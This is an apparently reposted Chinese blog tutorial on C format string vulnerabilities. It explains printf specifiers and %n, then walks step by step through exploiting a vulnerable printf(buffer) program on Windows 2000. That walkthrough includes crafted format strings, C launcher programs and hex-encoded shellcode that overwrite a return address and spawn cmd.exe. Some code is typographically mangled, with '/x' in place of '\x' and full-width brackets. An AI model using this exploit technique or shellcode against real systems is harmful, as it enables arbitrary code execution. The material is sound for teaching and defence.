格式化字符的安全问题

codeshell

墨衍会员 · AI 创作全网分发码龄22年

关注

原创最新推荐文章于 2026-05-20 11:04:38 发布 1.2k 阅读 AI 写同款· GEO 优化 ›

[格式化字符串] 在C语言中，格式化字符串是用来指定如何显示变量值的一种方式。最常见的函数是printf，它根据传入的第一个参数（即格式化字符串）来决定如何显示后面的参数%d。阅读详情

即使只有一点C语言基础的人也会printf()函数，实际上C语言教科书上通常的第一个程序就是“Hello, World!”，Kernighan and Ritchie在《The C Programming Language》中引发的惯例。

#include ＜stdio.h＞
void main(void)
{
printf("/nHello,World!/n/n");
}

　　这并没有完，在C语言中，当编译并运行这个程序向屏幕打印“Hello, World!”并不是简单的向屏幕输出字符串。和相关的程序fprintf(),vprintf() 以及 sprintf()等一样，就想在print后面加上“f”，这些实际上是打印格式。格式化部分允许程序员控制显示文本的样式。可以通过代替特殊的格式字符来显示值或数据，比如，要显示整型的变量“dVal”的值，就可以使用下面的格式化字符：

　　printf(“The value is %d”,dVal);

　　打印的时候，%d就被dVal的值所代替。如果程序员想用十六进制显示同样值：

　　printf(“The value in decimal is %d and in hexadecimal is %x”,dVal,dVal);

　　这里%d表示十进制的dVal值，%x表示十六进制的dVal的值。下面是集中特殊的格式化字符：

　　%c 单字符格式
　　%d 十进制整型 (pre ANSI)
　　%e,%E 指数形式的 float or double
　　%f 十进制 float or double
　　%I 整型 (like %d)
　　%o 八进制整型
　　%p 地址指针
　　%s 字符串
　　%x,%X 十六进制整型

　　当然，功能不仅限于怎么控制显示的数据类型，而且也能控制显示的宽度和队列等。

　　一个格式字符%n没有列在上面，因为有特殊用途，但是它存在的格式化字符安全问题也非常严重。%n用于把前面打印的字符数记录到一个变量中。也用于统计格式化的字节数，这当然需要一个空间来存储这个数字，因此程序需要为此分配内存，例如下面的代码：

　　1. #include ＜stdio.h＞
　　2. int main()
　　3. {
　　4. int bytes_formatted=0;
　　5. char buffer[28]=”ABCDEFGHIJKLMNOPQRSTUVWXYZ”;
　　6. printf(“%.20x%n”,buffer,&bytes_formatted);
　　7. printf(“/nThe number of bytes formatted in the previous printf statement was %d/n”,bytes_formatted);
　　8. return 0;
　　9. }

　　编译后输出显示为：

　　0000000000000012ff64
　　The number of bytes formatted in the previous printf statement was 20

在第四行申明了一个int类型的变量bytes_formatted，在第六行，格式化字符表示20个字符应该按十六进制 (“%.20x”) 进行格式化，%n则把值20写到bytes_formatted变量中。这意味着已经写了一个值到另外的内存空间中。现在我们不讨论编译者写数值或者写地址的影响，而讨论那种通过通过某种方式在操作这些值的时候造成了缺陷（溢出），如果这样成功的话，可能获得超过程序的执行控制。

　　在程序员试图传递一个字符串到一个使用格式化字符的格式函数中，就可能发生溢出情况。参考下面的程序。

#include ＜stdio.h＞
void main(int argc, char *argv[])
{
int count = 1;
while(argc ＞ 1)
{
printf(argv[count]);
printf(“ “);
count ++;
argc --;
}
}

　　编译并运行后显示如下程序：

Prompt: myecho hello
hello
Prompt: myecho this is some text
this is some text

So it justs spits back what we feed in – or does it? Try:

Prompt: myecho %x%x
112ffc0

　　注意到myecho %x%x，并没有按照原本的意思打印出来，却显示的十六进制数？原因正是因为这些属于格式化字符，它们被传递给printf()函数却没有用函数来解释这些字符，被认为是格式化字符。安全的写法应该是

　　printf(“%s”,argv[count]);

　　而不是：

　　printf(argv[count]);

　　一个攻击者能够怎么利用呢？他们使用 “%n”格式化字符，能写任意值到他们选定的内存中！如果实现了，就能够控制程序的执行。例如，在Intel上，能就可以重写堆栈中的地址，并指向他们的攻击代码，这可以执行任意目的的程序。这种格式化字符漏洞利用起来需要考虑使用函数、操作系统和处理器类型。

　　Windows 2000 / Intel 下的格式化字符漏洞问题

　　考虑下面有漏洞的代码：

#include ＜stdio.h＞

int main(int argc, char *argv[])
{
char buffer[512]="";
strncpy(buffer,argv[1],500);
printf(buffer);
return 0;
}

　　这个程序拷贝第一个参数到一个缓冲区，然后简单地把缓冲区传递给 printf，有问题的代码是这一行：

　　printf(buffer);

　　因为可以提供一个格式化字符作为第一个参数，而被传递给 printf() ，假设这个程序编译后叫 printf.exe。

　　攻击者现在会试图用提供的地址来重写堆栈中函数的返回地址，提供的地址可以指向攻击代码（shell code）。要达到这样的目的，需要得到格式化打印的确切字节数，用来匹配需要用的地址。

例：如果攻击者的攻击代码在地址0x0012FF40处，那么，就要让 printf 表达式格式0x0012FF40个字节，格式化字符串就可以是：

　　c:/＞printf %.622496x%.622496x%n

　　这就让1244992字节被printf表达式格式化打印，这个数字的十六进制就是0x0012FF40。但是目前并不完善，攻击者需要把exploit代码也放进去，这需要占据字节数。因此，要产生shell ，在windows 2000中这至多需要 40字节的 exploit code ，因此，需要修改格式化字符串放入代码就需要从622496中减去40。

　　就变成：

　　c:/＞printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%.622496x%.622456x%n

　　在这个例子中，攻击者只是简单地用字符“A”替代攻击代码。现在可以运行它但是可能发生非法存取问题，因为程序试图写的地址0x41414141可能没有初始化。当这个问题出现的时候调试程序，正如看到的，不愉快的一行是：

　　mov dword ptr [eax],ecx

　　它试图移动（mov）ecx （etc是0x0012FF40，攻击者找到攻击的地址）到 eax （现在是0x41414141）地址中，由于0x41414141这个区域还没有初始化，所以就会出现存取错误。同时，调试并找到攻击代码字符串（刚才只是假设它们的地址是0x0012FF40），但是它们却并不在0x0012FF40存在，而是在地址0x0012FD80中。相差并不远，但是，要利用起来是需要非常精确的。因此，需要再次修改那些格式字符串。在这之前，通过找一个合适的目标（需要重写的返回地址）来进行的。攻击者发现了一个相似的目标，地址0x0012FD54，它储存的地址是0x00401077，因此，可以类似这样来进行。现在接着要达到的目的就是要重写EI为P地址0x0012FD80，这个地址就是攻击代码的地址。如果达到这个目的，把这个返回地址推送到堆栈中，进程就会开始执行攻击代码了。怎样才能重写地址0x0012FD54，而刚才做的事情却一直是在试图重写地址0x41414141？好，这是一个线索。%n格式化字符把指向字符串中某处的指针标志到字符串的结尾处。攻击者要做的就是把%n从格式化字符串中的某个位置变化到字符串结尾处，要达到这个目的就需要使用添加更多的%x来完成，攻击者用BBBB来标记字符串结尾。

　　c:/＞printf 　　AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB

　　这是，程序试图写的地址是0x78257825，我们转换成十进制数发现0x78只是小写的“x”，0x25是“%”，所以看出来现在写的位置还是"%x%x%x%x"中的某个地方，这样，我们就继续试探，增加更多的%x:

　　c:/＞printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
　　AAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
　　%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB

　　这次正好到了，现在要试图写的地址就是0x42424242(也就是BBBB)，攻击者把BBBB代替成攻击代码的返回位置0x0012FD54。但是，只是在这里可以用ASCII很简单地写0x12 或者 0xFD，所以需要写另外的一个程序来把这些值写进去。攻击者用%x一直达到能够重写需要的地址0x0012FD80，而现在这个值变成了0x00130019（refdom注：因为多了很多%x，所以让%n的大小也增加了），需要少写665字节内容，把刚才的622456改变成621791，程序就是：

#include ＜stdio.h＞

int main()
{
char buffer[500]="printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x %x%x%.622496x%.621791x%n/x54/xFD/x12";

system(buffer);

return 0;
}

编译运行后又有了一个新的非法存取问题：在0x0012FF90处的指令引用了0x00000030处的存储器。注意，在0x0012FF90处的指令（这是一个堆栈地址），并且显然，攻击的进程正试图执行堆栈中的代码，格式化字符串exploit起作用了！攻击者已经成功地重写了返回地址，并将程序引到那里去了。现在，攻击者只需把exploit代码放进去，刚才用AAA来代替了。攻击者会先做一个确定，替代前面的四个A成为一个检查点：

#include ＜stdio.h＞
int main()
{
char buffer[500]="printf ";
charbuffer2[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%.622496x%.621791x%n/x54/xFD/x12";
strcat(buffer,"/xCC/xCC/xCC/xCC");
strcat(buffer,buffer2);
system(buffer);
return 0;
}

　　（注：代码中charbuffer2中比前面的少了四个A，用后面的/xCC/xCC/xCC/xCC代替了）

　　当运行到这个检查点的时候，回到了代码。现在能够确认已经能够获得并控制程序的执行，接着放入exploit代码。假设shell代码是下面的：

push ebp // Procedure Prologue - often not needed
mov ebp,esp // Procedure Prologue - often not needed
xor edi,edi // Get some NULLs
push edi // Push them onto the stack
mov byte ptr [ebp-04h],63h // Write 'c' of cmd
mov byte ptr [ebp-03h],6Dh // Write 'm' of cmd
mov byte ptr [ebp-02h],64h // Write 'd' of cmd
push edi // Push NULLs again (2nd Param for WinExec())
mov byte ptr [ebp-08h],03h // Turn it into SW_MAXIMIZE
lea eax,[ebp-04h] // Load address of cmd into EAX
push eax // Push it onto stack (1st Param for WinExec())
mov eax, 0x77E9B50E // Move address of WinExec() into EAX
call eax //＜---- Call it

　　这样，程序就成为：

#include ＜stdio.h＞

int main()
{
char buffer[500]="printf ";
char exploit_code[]=","/x55/x8B/xEC/x33/xFF/x57/xC6/x45/xFC/x63/xC6
/x45/xFD/x6D/xC6/x45/xFE/x64/x57/xC6/x45/xF8/x01/x8D/x45/xFC/x50/
xB8/x0E/xB5/xE9/x77/xFF/xD0/xCC";
char buffer2[]="AAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%.622496x%.621791x%n /x54/xFD/x12";

strcat(buffer,exploit_code);
strcat(buffer,buffer2);

system(buffer);

return 0;
}

　　编译后运行了新的shell。

　　这是在WIN2000中利用格式化字符漏洞的一种简单方法。整个思路就是：格式化一个跟exploit代码地址位置这么大小的字符串，并用这个值重写了堆栈中程序的返回地址，这样，当子程序运行返回后不是返回本来的地址，相反，而是接着替代的地址继续执行程序了。

　　利用printf类函数并不一定跟这个例子一样。例如：如果在用vsprintf函数的有问题代码（在Van Dyke Technologies’ SSH Server for Windows, Vshell，发现过），攻击者并不能象printf()这样选择内存位置，它被限制在参数列表及其以后的一个地址段中，而象VShell，第十三个参数是一个保存这一个函数指针的地址，因此可以用攻击者的函数指针重写这个地址来利用。

收录于